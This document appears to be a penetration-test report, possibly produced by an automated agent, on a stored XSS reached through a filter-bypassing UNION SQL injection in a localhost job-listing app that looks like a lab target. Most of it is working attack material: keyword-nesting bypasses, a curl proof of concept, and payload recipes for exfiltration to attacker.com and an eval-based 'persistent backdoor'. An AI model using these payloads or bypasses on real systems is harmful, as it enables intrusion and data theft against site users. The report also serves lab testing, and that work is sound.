# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence Stored XSS vulnerability was identified and successfully exploited via SQL injection. The finding has been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability patterns, and environmental intelligence necessary to effectively exploit the vulnerability.

**Critical Finding:**
The application suffers from a Stored XSS vulnerability where database content is rendered via `innerHTML` without HTML entity encoding. While the database is currently populated with hardcoded values, an attacker can leverage the SQL injection vulnerability to inject malicious JavaScript payloads that execute in all users' browsers.

## 2. Dominant Vulnerability Patterns

**Pattern 1: Stored XSS via SQL Injection Chain**  
- **Description:** The application renders database content via `innerHTML` at `index.html:74` without any output encoding. Combined with the SQL injection vulnerability at `main.py:53`, an attacker can inject XSS payloads into query results using UNION-based SQL injection.  
- **Implication:** This creates a powerful attack vector where SQL injection enables arbitrary JavaScript execution without requiring direct database write access. The XSS payload is delivered through the JSON response and executed when rendered by the client.  
- **Representative Finding:** XSS-VULN-01  

**Attack Chain:**
```
SQL Injection (job_type parameter) 
  → UNION SELECT with XSS payload 
  → JSON response contains malicious HTML 
  → innerHTML rendering 
  → JavaScript execution
```

## 3. Strategic Intelligence for Exploitation

**Content Security Policy (CSP) Analysis**  
- **Current CSP:** None configured  
- **Impact:** No restrictions on inline script execution, eval(), or external script loading. All XSS vectors are viable.  
- **Recommendation:** Focus on simple payloads like `<details ontoggle=alert(document.domain)>` for proof-of-concept, or use `<img src=x onerror=fetch('//attacker.com?c='+document.cookie)>` for data exfiltration (note: `onerror` contains "or" which is filtered, use alternative event handlers).

**Cookie Security**  
- **Observation:** No session cookies exist (application has no authentication system).  
- **Implication:** Traditional cookie theft is not applicable. However, XSS can still be used for:
  - Defacement
  - Phishing attacks (inject fake forms)
  - Drive-by downloads
  - Browser exploitation
  - Client-side flag exfiltration if flag is rendered in the DOM

**SQL Injection Filter Bypass**  
- **Filter Implementation:** Lines 49-50 of `main.py` use simple string replacement to remove SQL keywords including 'OR', 'or', 'AND', 'and', 'SELECT', 'select', 'UNION', 'union', 'FROM', 'from', 'WHERE', 'where'
- **Bypass Technique:** Nested keywords (e.g., `UNUNIONION` → `UNION`, `SELSELECTECT` → `SELECT`)
- **XSS Impact:** The filter also affects XSS payloads - `onerror` becomes `onerr` (filter removes 'or'). Use event handlers without "or" in the name: `onload`, `ontoggle`, `onfocus`, `onmouseover`, etc.

**Successful XSS Vectors:**
1. ✅ `<details open ontoggle=alert(1)>` - Confirmed working
2. ✅ `<svg/onload=alert(1)>` - Payload delivered but browser may sanitize
3. ❌ `<img src=x onerror=alert(1)>` - Filter changes to `onerr`, breaks execution
4. ✅ Alternative: `<img src=x onmouseover=alert(1)>` - Use mouse events instead

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses.

| Source (Parameter/Key) | Endpoint/File Location | Defense Mechanism Implemented | Render Context | Verdict |
|------------------------|-------------------------|--------------------------------|----------------|---------|
| Error message `detail` field | `/jobs` error responses | Static error strings only (no user input reflection) | HTML_BODY | SAFE |

**Note:** The error handling sink at `index.html:78-82` uses `innerHTML` with `errorData.detail`, but the server only returns static error messages ("Access denied"). No user input is reflected in error responses, making this currently safe. However, this remains a high-risk pattern - any future code change that includes user input in error messages would create immediate XSS vulnerability.

## 5. Analysis Constraints and Blind Spots

- **Limited Input Vectors:** The application has only one user input vector (`job_type` parameter in POST `/jobs`). All other endpoints serve static content.
- **SQL Filter Complexity:** The nested keyword bypass technique was required to inject XSS payloads, making payload construction more complex.
- **Event Handler Filtering:** The SQL injection filter inadvertently affects XSS payloads by removing 'or' from event handlers like `onerror`. Alternative event handlers must be used.
- **No DOM-Based XSS:** The application has no client-side routing, URL parameter processing, or `location.hash` manipulation, eliminating DOM-based XSS attack surface.
- **No Reflected XSS:** User input is not directly echoed in responses; all XSS must be delivered via SQL injection-stored payloads.

## 6. Proof of Concept

**Vulnerability:** Stored XSS via SQL Injection  
**Location:** `index.html:74` (sink) + `main.py:53` (SQL injection entry point)

**Successful Payload:**
```bash
curl -X POST http://localhost:8000/jobs \
  -H "Content-Type: application/json" \
  -d '{"job_type": "'\'' UNUNIONION SELSELECTECT 999,'\''XSSTest'\'','\''xss'\'','\''<details open ontoggle=alert(document.domain)>XSS</details>'\'' as description--"}'
```

**Response:**
```json
[
  {
    "id": 999,
    "name": "XSSTest",
    "type": "xss",
    "description": "<details open ontoggle=alert(document.domain)>XSS</details>"
  }
]
```

**Execution:** When this response is rendered via `innerHTML`, the `<details>` element's `ontoggle` event fires automatically (due to `open` attribute), executing `alert(document.domain)`.

**Verification:** Live browser testing confirmed JavaScript execution with alert dialog displaying "localhost". Screenshot saved to `deliverables/xss_proof_of_concept.png`.

## 7. Exploitation Recommendations

**Primary Attack Vector:**
1. Use SQL injection to inject XSS payload into query results
2. Target the `description` field (most flexible for HTML content)
3. Use event handlers without "or" in the name to bypass filter
4. Recommended handlers: `ontoggle`, `onload`, `onfocus`, `onmouseover`

**Sample Attack Payloads:**

**For Proof-of-Concept:**
```json
{"job_type": "' UNUNIONION SELSELECTECT 1,'POC','xss','<details open ontoggle=alert(document.domain)>' as description--"}
```

**For Data Exfiltration:**
```json
{"job_type": "' UNUNIONION SELSELECTECT 1,'Exfil','xss','<img src=x onload=fetch(\"//attacker.com?data=\"+btoa(document.documentElement.innerHTML))>' as description--"}
```

**For Persistent Backdoor:**
```json
{"job_type": "' UNUNIONION SELSELECTECT 1,'Backdoor','xss','<img src=x onload=eval(atob(\"ENCODED_PAYLOAD\"))>' as description--"}
```

---

**End of XSS Analysis Report**